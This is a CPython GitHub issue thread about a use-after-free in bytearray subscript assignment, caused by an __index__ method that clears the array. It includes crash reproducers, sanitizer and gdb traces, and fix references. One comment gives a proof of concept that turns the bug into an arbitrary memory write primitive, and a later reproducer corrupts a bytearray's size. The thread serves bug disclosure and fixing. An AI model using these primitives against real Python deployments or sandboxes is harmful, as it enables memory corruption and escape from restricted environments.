Skip to content

UAF when writing to a bytearray with an element implementing __index__ with side-effects #91153

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
JelleZijlstra opened this issue Mar 13, 2022 · 17 comments
Assignees
Labels
interpreter-core (Objects, Python, Grammar, and Parser dirs) type-crash A hard crash of the interpreter, possibly with a core dump

Comments

@JelleZijlstra
Copy link
Member

JelleZijlstra commented Mar 13, 2022

BPO 46997
Nosy @gvanrossum, @JelleZijlstra

Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.

Show more details

GitHub fields:

assignee = None
closed_at = None
created_at = <Date 2022-03-13.02:05:03.024>
labels = ['interpreter-core', '3.9', '3.10', '3.11']
title = 'Invalid memory write in bytearray'
updated_at = <Date 2022-03-13.02:14:01.825>
user = 'https://github.com/JelleZijlstra'

bugs.python.org fields:

activity = <Date 2022-03-13.02:14:01.825>
actor = 'JelleZijlstra'
assignee = 'none'
closed = False
closed_date = None
closer = None
components = ['Interpreter Core']
creation = <Date 2022-03-13.02:05:03.024>
creator = 'JelleZijlstra'
dependencies = []
files = []
hgrepos = []
issue_num = 46997
keywords = []
message_count = 2.0
messages = ['415021', '415022']
nosy_count = 2.0
nosy_names = ['gvanrossum', 'JelleZijlstra']
pr_nums = []
priority = 'normal'
resolution = None
stage = None
status = 'open'
superseder = None
type = None
url = 'https://bugs.python.org/issue46997'
versions = ['Python 3.9', 'Python 3.10', 'Python 3.11']

Linked PRs

@JelleZijlstra
Copy link
Member Author

JelleZijlstra commented Mar 13, 2022

Inspired by Guido's comment in https://github.com/python/cpython/pull/31834/files#r825352900, I found that there are some places in bytearrayobject.c where we can write to free'd memory if we encounter an object with a sneaky __index__ method:

$ cat basneak.py 
ba = bytearray([0 for _ in range(10000)])

class sneaky:
    def __index__(self):
        ba.clear()
        return 1

ba[-1] = sneaky()
$ valgrind ./python basneak.py 
==87894== Memcheck, a memory error detector
==87894== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==87894== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==87894== Command: ./python basneak.py
==87894== 
==87894== Invalid write of size 1
==87894==    at 0x49B70F: bytearray_ass_subscript (bytearrayobject.c:632)
==87894==    by 0x488E03: PyObject_SetItem (abstract.c:211)
<snip>

In bytearray_setitem(), we first do bounds checking, and then call _getbytevalue() to get the numeric value of the argument.

I think there's a similar bug in bytearray_ass_subscript().

@JelleZijlstra JelleZijlstra added interpreter-core (Objects, Python, Grammar, and Parser dirs) 3.10 only security fixes 3.11 only security fixes labels Mar 13, 2022
@JelleZijlstra
Copy link
Member Author

3.9 segfaults.

(gdb) bt
#0 bytearray_ass_subscript (self=<optimized out>, index=0x7ffff7e118f0, values=0x7ffff6f918b0) at Objects/bytearrayobject.c:640
#1 0x0000000000536302 in _PyEval_EvalFrameDefault (tstate=<optimized out>, f=0x999a80, throwflag=<optimized out>) at Python/ceval.c:1990
#2 0x0000000000534775 in _PyEval_EvalFrame (throwflag=0, f=0x999a80, tstate=0x93de90) at ./Include/internal/pycore_ceval.h:40

@JelleZijlstra JelleZijlstra added the 3.9 only security fixes label Mar 13, 2022
@ezio-melotti ezio-melotti transferred this issue from another repository Apr 10, 2022
@gvanrossum gvanrossum added the type-crash A hard crash of the interpreter, possibly with a core dump label Apr 22, 2022
@chilaxan
Copy link
Contributor

chilaxan commented May 19, 2022

to_write_after_free = bytearray(bytearray.__basicsize__)
class sneaky:
    def __index__(self):
        global to_corrupt_ob_exports, to_uaf
        del to_write_after_free[:]
        to_corrupt_ob_exports = bytearray(bytearray.__basicsize__)
        to_write_after_free.__init__(bytearray.__basicsize__)
        to_uaf = memoryview(to_corrupt_ob_exports)
        return -tuple.__itemsize__

to_write_after_free[sneaky()] = 0
occupy_uaf = to_corrupt_ob_exports.clear() \
          or bytearray()

view_backing = to_uaf.cast('P')
view = occupy_uaf

view_backing[2] = (2 ** (tuple.__itemsize__ * 8) - 1) // 2
memory = memoryview(view)
memory[id(250) + int.__basicsize__] = 100
print(250)

proof of concept that this bug can be used to corrupt memory in a malicious/useful way
tested on Python 3.12.0a0 built with ./configure --enable-optimizations

image

@kumaraditya303
Copy link
Contributor

ASAN report:

=================================================================
==17089==ERROR: AddressSanitizer: heap-use-after-free on address 0x62600000580f at pc 0x55f0875e0b57 bp 0x7fff4c7822e0 sp 0x7fff4c7822d0
WRITE of size 1 at 0x62600000580f thread T0
    #0 0x55f0875e0b56 in bytearray_ass_subscript Objects/bytearrayobject.c:618
    #1 0x55f08758e10f in PyObject_SetItem Objects/abstract.c:212
    #2 0x55f087bc13ec in _PyEval_EvalFrameDefault Python/ceval.c:2333
    #3 0x55f087c304a3 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:74
    #4 0x55f087c304a3 in _PyEval_Vector Python/ceval.c:6472
    #5 0x55f087c309c9 in PyEval_EvalCode Python/ceval.c:1161
    #6 0x55f087daf6b2 in run_eval_code_obj Python/pythonrun.c:1713
    #7 0x55f087db12ac in run_mod Python/pythonrun.c:1734
    #8 0x55f087db1667 in pyrun_file Python/pythonrun.c:1629
    #9 0x55f087dbf998 in _PyRun_SimpleFileObject Python/pythonrun.c:439
    #10 0x55f087dc0151 in _PyRun_AnyFileObject Python/pythonrun.c:78
    #11 0x55f087e616b7 in pymain_run_file_obj Modules/main.c:360
    #12 0x55f087e6234c in pymain_run_file Modules/main.c:379
    #13 0x55f087e66d2a in pymain_run_python Modules/main.c:610
    #14 0x55f087e66fa5 in Py_RunMain Modules/main.c:689
    #15 0x55f087e67195 in pymain_main Modules/main.c:719
    #16 0x55f087e674fc in Py_BytesMain Modules/main.c:743
    #17 0x55f0873362c5 in main Programs/python.c:15
    #18 0x7f73bfe63082 in __libc_start_main ../csu/libc-start.c:308
    #19 0x55f0873361fd in _start (/workspaces/cpython/python+0x18491fd)

0x62600000580f is located 9999 bytes inside of 10001-byte region [0x626000003100,0x626000005811)
freed by thread T0 here:
    #0 0x7f73c0c2ac3e in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:163
    #1 0x55f0878484bb in _PyMem_RawRealloc Objects/obmalloc.c:123
    #2 0x55f08784cb06 in PyObject_Realloc Objects/obmalloc.c:735
    #3 0x55f0875d5540 in PyByteArray_Resize Objects/bytearrayobject.c:233
    #4 0x55f0875dfdcc in bytearray_clear_impl Objects/bytearrayobject.c:1134
    #5 0x55f0875dfec4 in bytearray_clear Objects/clinic/bytearrayobject.c.h:89
    #6 0x55f087689006 in method_vectorcall_NOARGS Objects/descrobject.c:454
    #7 0x55f08763a245 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:92
    #8 0x55f08763a245 in PyObject_Vectorcall Objects/call.c:300
    #9 0x55f087c101b1 in _PyEval_EvalFrameDefault Python/ceval.c:4841
    #10 0x55f087c304a3 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:74
    #11 0x55f087c304a3 in _PyEval_Vector Python/ceval.c:6472
    #12 0x55f087636edd in _PyFunction_Vectorcall Objects/call.c:396
    #13 0x55f0878ee41e in _PyObject_VectorcallTstate Include/internal/pycore_call.h:92
    #14 0x55f0878ee41e in vectorcall_unbound Objects/typeobject.c:1651
    #15 0x55f0878ee41e in vectorcall_method Objects/typeobject.c:1682
    #16 0x55f0878efe5a in slot_nb_index Objects/typeobject.c:7643
    #17 0x55f087585d45 in _PyNumber_Index Objects/abstract.c:1418
    #18 0x55f08776dd33 in PyLong_AsLongAndOverflow Objects/longobject.c:503
    #19 0x55f0875a70bc in _getbytevalue Objects/bytearrayobject.c:27
    #20 0x55f0875e0765 in bytearray_ass_subscript Objects/bytearrayobject.c:616
    #21 0x55f08758e10f in PyObject_SetItem Objects/abstract.c:212
    #22 0x55f087bc13ec in _PyEval_EvalFrameDefault Python/ceval.c:2333
    #23 0x55f087c304a3 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:74
    #24 0x55f087c304a3 in _PyEval_Vector Python/ceval.c:6472
    #25 0x55f087c309c9 in PyEval_EvalCode Python/ceval.c:1161
    #26 0x55f087daf6b2 in run_eval_code_obj Python/pythonrun.c:1713
    #27 0x55f087db12ac in run_mod Python/pythonrun.c:1734
    #28 0x55f087db1667 in pyrun_file Python/pythonrun.c:1629
    #29 0x55f087dbf998 in _PyRun_SimpleFileObject Python/pythonrun.c:439
    #30 0x55f087dc0151 in _PyRun_AnyFileObject Python/pythonrun.c:78
    #31 0x55f087e616b7 in pymain_run_file_obj Modules/main.c:360
    #32 0x55f087e6234c in pymain_run_file Modules/main.c:379
    #33 0x55f087e66d2a in pymain_run_python Modules/main.c:610
    #34 0x55f087e66fa5 in Py_RunMain Modules/main.c:689

previously allocated by thread T0 here:
    #0 0x7f73c0c2ac3e in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:163
    #1 0x55f0878484bb in _PyMem_RawRealloc Objects/obmalloc.c:123
    #2 0x55f08784cb06 in PyObject_Realloc Objects/obmalloc.c:735
    #3 0x55f0875d5540 in PyByteArray_Resize Objects/bytearrayobject.c:233
    #4 0x55f0875d6f5c in bytearray___init___impl Objects/bytearrayobject.c:835
    #5 0x55f0875d8f83 in bytearray___init__ Objects/clinic/bytearrayobject.c.h:68
    #6 0x55f0878d9f4e in type_call Objects/typeobject.c:1112
    #7 0x55f087637615 in _PyObject_MakeTpCall Objects/call.c:215
    #8 0x55f08763a2a6 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:90
    #9 0x55f08763a2a6 in PyObject_Vectorcall Objects/call.c:300
    #10 0x55f087c101b1 in _PyEval_EvalFrameDefault Python/ceval.c:4841
    #11 0x55f087c304a3 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:74
    #12 0x55f087c304a3 in _PyEval_Vector Python/ceval.c:6472
    #13 0x55f087c309c9 in PyEval_EvalCode Python/ceval.c:1161
    #14 0x55f087daf6b2 in run_eval_code_obj Python/pythonrun.c:1713
    #15 0x55f087db12ac in run_mod Python/pythonrun.c:1734
    #16 0x55f087db1667 in pyrun_file Python/pythonrun.c:1629
    #17 0x55f087dbf998 in _PyRun_SimpleFileObject Python/pythonrun.c:439
    #18 0x55f087dc0151 in _PyRun_AnyFileObject Python/pythonrun.c:78
    #19 0x55f087e616b7 in pymain_run_file_obj Modules/main.c:360
    #20 0x55f087e6234c in pymain_run_file Modules/main.c:379
    #21 0x55f087e66d2a in pymain_run_python Modules/main.c:610
    #22 0x55f087e66fa5 in Py_RunMain Modules/main.c:689
    #23 0x55f087e67195 in pymain_main Modules/main.c:719
    #24 0x55f087e674fc in Py_BytesMain Modules/main.c:743
    #25 0x55f0873362c5 in main Programs/python.c:15
    #26 0x7f73bfe63082 in __libc_start_main ../csu/libc-start.c:308

SUMMARY: AddressSanitizer: heap-use-after-free Objects/bytearrayobject.c:618 in bytearray_ass_subscript
Shadow bytes around the buggy address:
  0x0c4c7fff8ab0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4c7fff8ac0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4c7fff8ad0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4c7fff8ae0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4c7fff8af0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c4c7fff8b00: fd[fd]fd fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==17089==ABORTING

@brandtbucher brandtbucher self-assigned this Jul 16, 2022
miss-islington pushed a commit to miss-islington/cpython that referenced this issue Jul 19, 2022
…ssignment (pythonGH-94891)

(cherry picked from commit f365895)

Co-authored-by: Brandt Bucher <[email protected]>
miss-islington pushed a commit to miss-islington/cpython that referenced this issue Jul 19, 2022
…ssignment (pythonGH-94891)

(cherry picked from commit f365895)

Co-authored-by: Brandt Bucher <[email protected]>
miss-islington added a commit that referenced this issue Jul 19, 2022
…ent (GH-94891)

(cherry picked from commit f365895)

Co-authored-by: Brandt Bucher <[email protected]>
miss-islington added a commit that referenced this issue Jul 19, 2022
…ent (GH-94891)

(cherry picked from commit f365895)

Co-authored-by: Brandt Bucher <[email protected]>
@Nambers
Copy link

Nambers commented Jun 13, 2024

lol this still doable nowadays.

ref:


asan output:

Python 3.12.3 (tags/v3.12.3-dirty:f6650f9ad7, Jun  1 2024, 10:59:31) [Clang 17.0.6 ] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> class UAF:
...     def __index__(self):
...             global memory
...             uaf.clear()
...             memory = bytearray()
...             uaf.extend([0]*56)
...             return 1
... 
>>> uaf = bytearray(56)
>>> uaf[23] = UAF()
=================================================================
==73492==ERROR: AddressSanitizer: heap-use-after-free on address 0x506000184177 at pc 0x5f21ffb75d20 bp 0x7ffd54eefaf0 sp 0x7ffd54eefae8
WRITE of size 1 at 0x506000184177 thread T0
    #0 0x5f21ffb75d1f in bytearray_ass_subscript /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:630:20
    #1 0x5f21ffe4e7c4 in _PyEval_EvalFrameDefault /home/eritquearcus/github/cpython/build-asan/Python/bytecodes.c:552:23
    #2 0x5f21ffe3bd9a in _PyEval_EvalFrame /home/eritquearcus/github/cpython/Include/internal/pycore_ceval.h:89:16
    #3 0x5f21ffe3bd9a in _PyEval_Vector /home/eritquearcus/github/cpython/Python/ceval.c:1683:12
    #4 0x5f21ffe3bd9a in PyEval_EvalCode /home/eritquearcus/github/cpython/Python/ceval.c:578:21
    #5 0x5f21fff7a337 in run_eval_code_obj /home/eritquearcus/github/cpython/Python/pythonrun.c:1722:9
    #6 0x5f21fff7a337 in run_mod /home/eritquearcus/github/cpython/Python/pythonrun.c:1743:19
    #7 0x5f21fff773ef in PyRun_InteractiveOneObjectEx /home/eritquearcus/github/cpython/Python/pythonrun.c:260:9
    #8 0x5f21fff7600c in _PyRun_InteractiveLoopObject /home/eritquearcus/github/cpython/Python/pythonrun.c:137:15
    #9 0x5f21fff75d76 in _PyRun_AnyFileObject /home/eritquearcus/github/cpython/Python/pythonrun.c:72:15
    #10 0x5f21fff76e19 in PyRun_AnyFileExFlags /home/eritquearcus/github/cpython/Python/pythonrun.c:104:15
    #11 0x5f21fffd9ccc in pymain_run_stdin /home/eritquearcus/github/cpython/Modules/main.c:520:15
    #12 0x5f21fffd9ccc in pymain_run_python /home/eritquearcus/github/cpython/Modules/main.c:632:21
    #13 0x5f21fffd9ccc in Py_RunMain /home/eritquearcus/github/cpython/Modules/main.c:709:5
    #14 0x5f21fffdaf1d in pymain_main /home/eritquearcus/github/cpython/Modules/main.c:739:12
    #15 0x5f21fffdb1ed in Py_BytesMain /home/eritquearcus/github/cpython/Modules/main.c:763:12
    #16 0x71478634ec87  (/usr/lib/libc.so.6+0x25c87) (BuildId: 32a656aa5562eece8c59a585f5eacd6cf5e2307b)
    #17 0x71478634ed4b in __libc_start_main (/usr/lib/libc.so.6+0x25d4b) (BuildId: 32a656aa5562eece8c59a585f5eacd6cf5e2307b)
    #18 0x5f21ff969e34 in _start (/home/eritquearcus/github/cpython/install-asan/bin/python3.12+0x274e34) (BuildId: 4bd864c94caa62cd4658a9bb93ba56843131c7c2)

0x506000184177 is located 23 bytes inside of 57-byte region [0x506000184160,0x506000184199)
freed by thread T0 here:
    #0 0x5f21ffa5812a in realloc.part.0 asan_malloc_linux.cpp.o
    #1 0x5f21ffb701de in PyByteArray_Resize /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:234:16
    #2 0x5f21ffb76b4e in bytearray_clear_impl /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:1146:9
    #3 0x5f21ffb76b4e in bytearray_clear /home/eritquearcus/github/cpython/Objects/clinic/bytearrayobject.c.h:118:12
    #4 0x5f21ffbcc5db in method_vectorcall_NOARGS /home/eritquearcus/github/cpython/Objects/descrobject.c:454:24
    #5 0x5f21ffbab45b in _PyObject_VectorcallTstate /home/eritquearcus/github/cpython/Include/internal/pycore_call.h:92:11
    #6 0x5f21ffbab45b in PyObject_Vectorcall /home/eritquearcus/github/cpython/Objects/call.c:325:12
    #7 0x5f21ffe4fa76 in _PyEval_EvalFrameDefault /home/eritquearcus/github/cpython/build-asan/Python/bytecodes.c:2706:19
    #8 0x5f21ffccd20c in _PyObject_VectorcallTstate /home/eritquearcus/github/cpython/Include/internal/pycore_call.h:92:11
    #9 0x5f21ffccd20c in vectorcall_unbound /home/eritquearcus/github/cpython/Objects/typeobject.c:2230:12
    #10 0x5f21ffccd20c in vectorcall_method /home/eritquearcus/github/cpython/Objects/typeobject.c:2261:24
    #11 0x5f21ffcdfa22 in slot_nb_index /home/eritquearcus/github/cpython/Objects/typeobject.c:8655:12
    #12 0x5f21ffb60788 in _PyNumber_Index /home/eritquearcus/github/cpython/Objects/abstract.c:1413:24
    #13 0x5f21ffc23f29 in PyLong_AsLongAndOverflow /home/eritquearcus/github/cpython/Objects/longobject.c:481:29
    #14 0x5f21ffb75092 in _getbytevalue /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:27:23
    #15 0x5f21ffb75092 in bytearray_ass_subscript /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:608:24
    #16 0x5f21ffe4e7c4 in _PyEval_EvalFrameDefault /home/eritquearcus/github/cpython/build-asan/Python/bytecodes.c:552:23
    #17 0x5f21ffe3bd9a in _PyEval_EvalFrame /home/eritquearcus/github/cpython/Include/internal/pycore_ceval.h:89:16
    #18 0x5f21ffe3bd9a in _PyEval_Vector /home/eritquearcus/github/cpython/Python/ceval.c:1683:12
    #19 0x5f21ffe3bd9a in PyEval_EvalCode /home/eritquearcus/github/cpython/Python/ceval.c:578:21
    #20 0x5f21fff7a337 in run_eval_code_obj /home/eritquearcus/github/cpython/Python/pythonrun.c:1722:9
    #21 0x5f21fff7a337 in run_mod /home/eritquearcus/github/cpython/Python/pythonrun.c:1743:19
    #22 0x5f21fff773ef in PyRun_InteractiveOneObjectEx /home/eritquearcus/github/cpython/Python/pythonrun.c:260:9
    #23 0x5f21fff7600c in _PyRun_InteractiveLoopObject /home/eritquearcus/github/cpython/Python/pythonrun.c:137:15
    #24 0x5f21fff75d76 in _PyRun_AnyFileObject /home/eritquearcus/github/cpython/Python/pythonrun.c:72:15
    #25 0x5f21fff76e19 in PyRun_AnyFileExFlags /home/eritquearcus/github/cpython/Python/pythonrun.c:104:15
    #26 0x5f21fffd9ccc in pymain_run_stdin /home/eritquearcus/github/cpython/Modules/main.c:520:15
    #27 0x5f21fffd9ccc in pymain_run_python /home/eritquearcus/github/cpython/Modules/main.c:632:21
    #28 0x5f21fffd9ccc in Py_RunMain /home/eritquearcus/github/cpython/Modules/main.c:709:5
    #29 0x5f21fffdaf1d in pymain_main /home/eritquearcus/github/cpython/Modules/main.c:739:12
    #30 0x5f21fffdb1ed in Py_BytesMain /home/eritquearcus/github/cpython/Modules/main.c:763:12
    #31 0x71478634ec87  (/usr/lib/libc.so.6+0x25c87) (BuildId: 32a656aa5562eece8c59a585f5eacd6cf5e2307b)
    #32 0x71478634ed4b in __libc_start_main (/usr/lib/libc.so.6+0x25d4b) (BuildId: 32a656aa5562eece8c59a585f5eacd6cf5e2307b)
    #33 0x5f21ff969e34 in _start (/home/eritquearcus/github/cpython/install-asan/bin/python3.12+0x274e34) (BuildId: 4bd864c94caa62cd4658a9bb93ba56843131c7c2)

previously allocated by thread T0 here:
    #0 0x5f21ffa5812a in realloc.part.0 asan_malloc_linux.cpp.o
    #1 0x5f21ffb701de in PyByteArray_Resize /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:234:16
    #2 0x5f21ffb72160 in bytearray___init___impl /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:819:21
    #3 0x5f21ffb72160 in bytearray___init__ /home/eritquearcus/github/cpython/Objects/clinic/bytearrayobject.c.h:97:20
    #4 0x5f21ffcc5100 in type_call /home/eritquearcus/github/cpython/Objects/typeobject.c:1673:19
    #5 0x5f21ffba9e22 in _PyObject_MakeTpCall /home/eritquearcus/github/cpython/Objects/call.c:240:18
    #6 0x5f21ffe4fa76 in _PyEval_EvalFrameDefault /home/eritquearcus/github/cpython/build-asan/Python/bytecodes.c:2706:19
    #7 0x5f21ffe3bd9a in _PyEval_EvalFrame /home/eritquearcus/github/cpython/Include/internal/pycore_ceval.h:89:16
    #8 0x5f21ffe3bd9a in _PyEval_Vector /home/eritquearcus/github/cpython/Python/ceval.c:1683:12
    #9 0x5f21ffe3bd9a in PyEval_EvalCode /home/eritquearcus/github/cpython/Python/ceval.c:578:21
    #10 0x5f21fff7a337 in run_eval_code_obj /home/eritquearcus/github/cpython/Python/pythonrun.c:1722:9
    #11 0x5f21fff7a337 in run_mod /home/eritquearcus/github/cpython/Python/pythonrun.c:1743:19
    #12 0x5f21fff773ef in PyRun_InteractiveOneObjectEx /home/eritquearcus/github/cpython/Python/pythonrun.c:260:9
    #13 0x5f21fff7600c in _PyRun_InteractiveLoopObject /home/eritquearcus/github/cpython/Python/pythonrun.c:137:15
    #14 0x5f21fff75d76 in _PyRun_AnyFileObject /home/eritquearcus/github/cpython/Python/pythonrun.c:72:15
    #15 0x5f21fff76e19 in PyRun_AnyFileExFlags /home/eritquearcus/github/cpython/Python/pythonrun.c:104:15
    #16 0x5f21fffd9ccc in pymain_run_stdin /home/eritquearcus/github/cpython/Modules/main.c:520:15
    #17 0x5f21fffd9ccc in pymain_run_python /home/eritquearcus/github/cpython/Modules/main.c:632:21
    #18 0x5f21fffd9ccc in Py_RunMain /home/eritquearcus/github/cpython/Modules/main.c:709:5
    #19 0x5f21fffdaf1d in pymain_main /home/eritquearcus/github/cpython/Modules/main.c:739:12
    #20 0x5f21fffdb1ed in Py_BytesMain /home/eritquearcus/github/cpython/Modules/main.c:763:12
    #21 0x71478634ec87  (/usr/lib/libc.so.6+0x25c87) (BuildId: 32a656aa5562eece8c59a585f5eacd6cf5e2307b)
    #22 0x71478634ed4b in __libc_start_main (/usr/lib/libc.so.6+0x25d4b) (BuildId: 32a656aa5562eece8c59a585f5eacd6cf5e2307b)
    #23 0x5f21ff969e34 in _start (/home/eritquearcus/github/cpython/install-asan/bin/python3.12+0x274e34) (BuildId: 4bd864c94caa62cd4658a9bb93ba56843131c7c2)

SUMMARY: AddressSanitizer: heap-use-after-free /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:630:20 in bytearray_ass_subscript
Shadow bytes around the buggy address:
  0x506000183e80: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa
  0x506000183f00: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
  0x506000183f80: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
  0x506000184000: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa
  0x506000184080: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
=>0x506000184100: 00 00 00 00 00 00 00 fa fa fa fa fa fd fd[fd]fd
  0x506000184180: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fa
  0x506000184200: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
  0x506000184280: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd
  0x506000184300: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa
  0x506000184380: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==73492==ABORTING

@nedbat
Copy link
Member

nedbat commented Mar 29, 2025

This still happens with 3.14.0a6

@nedbat nedbat reopened this Mar 29, 2025
@bast0006
Copy link

bast0006 commented Mar 29, 2025

I'm working on getting a repro. It's difficult. I appear unable to reproduce it with --with-pydebug.

@bast0006
Copy link

bast0006 commented Mar 29, 2025

I can confirm this repros on main, but fails to repro with --with-pydebug.

Reproducer (see #91153 (comment) as well):

class B:
	def __index__(self):
		global mem
		a.clear()
		mem = bytearray()
		a.extend([0]*56)
		return 1

a = bytearray(56)
a[23] = B()
mem[0] = 100

@bast0006
Copy link

relevant backtraces:

Program received signal SIGSEGV, Segmentation fault.
bytearray_ass_subscript_lock_held (op=<bytearray at remote 0x7ffff7499b30>, index=0, values=100) at Objects/bytearrayobject.c:747
747                 buf[i] = (char)ival;
(gdb) bt
#0  bytearray_ass_subscript_lock_held (op=<bytearray at remote 0x7ffff7499b30>, index=0, values=100) at Objects/bytearrayobject.c:747
#1  0x00005555555e3841 in _PyEval_EvalFrameDefault (tstate=0x555555b1dd08 <_PyRuntime+314408>, frame=0x7ffff7fb0020, throwflag=<optimized out>) at Python/generated_cases.c.h:11235
#2  0x00005555557ab5e7 in _PyEval_EvalFrame (throwflag=0, frame=0x7ffff7fb0020, tstate=0x555555b1dd08 <_PyRuntime+314408>) at ./Include/internal/pycore_ceval.h:119
#3  _PyEval_Vector (args=0x0, argcount=0, kwnames=0x0, 
    locals={'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <SourceFileLoader(name='__main__', path='cpython/../breaks/im.py') at remote 0x7ffff75b22c0>, '__spec__': None, '__builtins__': <module at remote 0x7ffff7597fb0>, '__file__': 'cpython/../breaks/im.py', '__cached__': None, 'B': <type at remote 0x555555ca2be0>, 'a': <bytearray at remote 0x7ffff7499b70>, 'mem': <bytearray at remote 0x7ffff7499b30>}, func=0x7ffff746ceb0, tstate=0x555555b1dd08 <_PyRuntime+314408>) at Python/ceval.c:1908
#4  PyEval_EvalCode (co=co@entry=<code at remote 0x7ffff7454930>, 
    globals=globals@entry={'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <SourceFileLoader(name='__main__', path='cpython/../breaks/im.py') at remote 0x7ffff75b22c0>, '__spec__': None, '__builtins__': <module at remote 0x7ffff7597fb0>, '__file__': 'cpython/../breaks/im.py', '__cached__': None, 'B': <type at remote 0x555555ca2be0>, 'a': <bytearray at remote 0x7ffff7499b70>, 'mem': <bytearray at remote 0x7ffff7499b30>}, 
    locals=locals@entry={'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <SourceFileLoader(name='__main__', path='cpython/../breaks/im.py') at remote 0x7ffff75b22c0>, '__spec__': None, '__builtins__': <module at remote 0x7ffff7597fb0>, '__file__': 'cpython/../breaks/im.py', '__cached__': None, 'B': <type at remote 0x555555ca2be0>, 'a': <bytearray at remote 0x7ffff7499b70>, 'mem': <bytearray at remote 0x7ffff7499b30>}) at Python/ceval.c:836
#5  0x000055555581d11c in run_eval_code_obj (
    locals={'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <SourceFileLoader(name='__main__', path='cpython/../breaks/im.py') at remote 0x7ffff75b22c0>, '__spec__': None, '__builtins__': <module at remote 0x7ffff7597fb0>, '__file__': 'cpython/../breaks/im.py', '__cached__': None, 'B': <type at remote 0x555555ca2be0>, 'a': <bytearray at remote 0x7ffff7499b70>, 'mem': <bytearray at remote 0x7ffff7499b30>}, 
    globals={'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <SourceFileLoader(name='__main__', path='cpython/../breaks/im.py') at remote 0x7ffff75b22c0>, '__spec__': None, '__builtins__': <module at remote 0x7ffff7597fb0>, '__file__': 'cpython/../breaks/im.py', '__cached__': None, 'B': <type at remote 0x555555ca2be0>, 'a': <bytearray at remote 0x7ffff7499b70>, 'mem': <bytearray at remote 0x7ffff7499b30>}, co=0x7ffff7454930, tstate=0x555555b1dd08 <_PyRuntime+314408>) at Python/pythonrun.c:1365


(gdb) p *(PyByteArrayObject *) 0x7ffff7499b30
$1 = {ob_base = {ob_base = {{ob_refcnt_full = 2, {ob_refcnt = 2, ob_overflow = 0, ob_flags = 0}}, ob_type = 0x555555a94a80 <PyByteArray_Type>}, ob_size = 72057594037927936}, ob_alloc = 0, ob_bytes = 0x0, 
  ob_start = 0x0, ob_exports = 0}

showing a broken bytearray object

72057594037927936 is 0x100000000000000, so ob_size is corrupted.

a is at 0x7ffff7499b70

(gdb) p *(PyByteArrayObject*) 0x7ffff7499b70
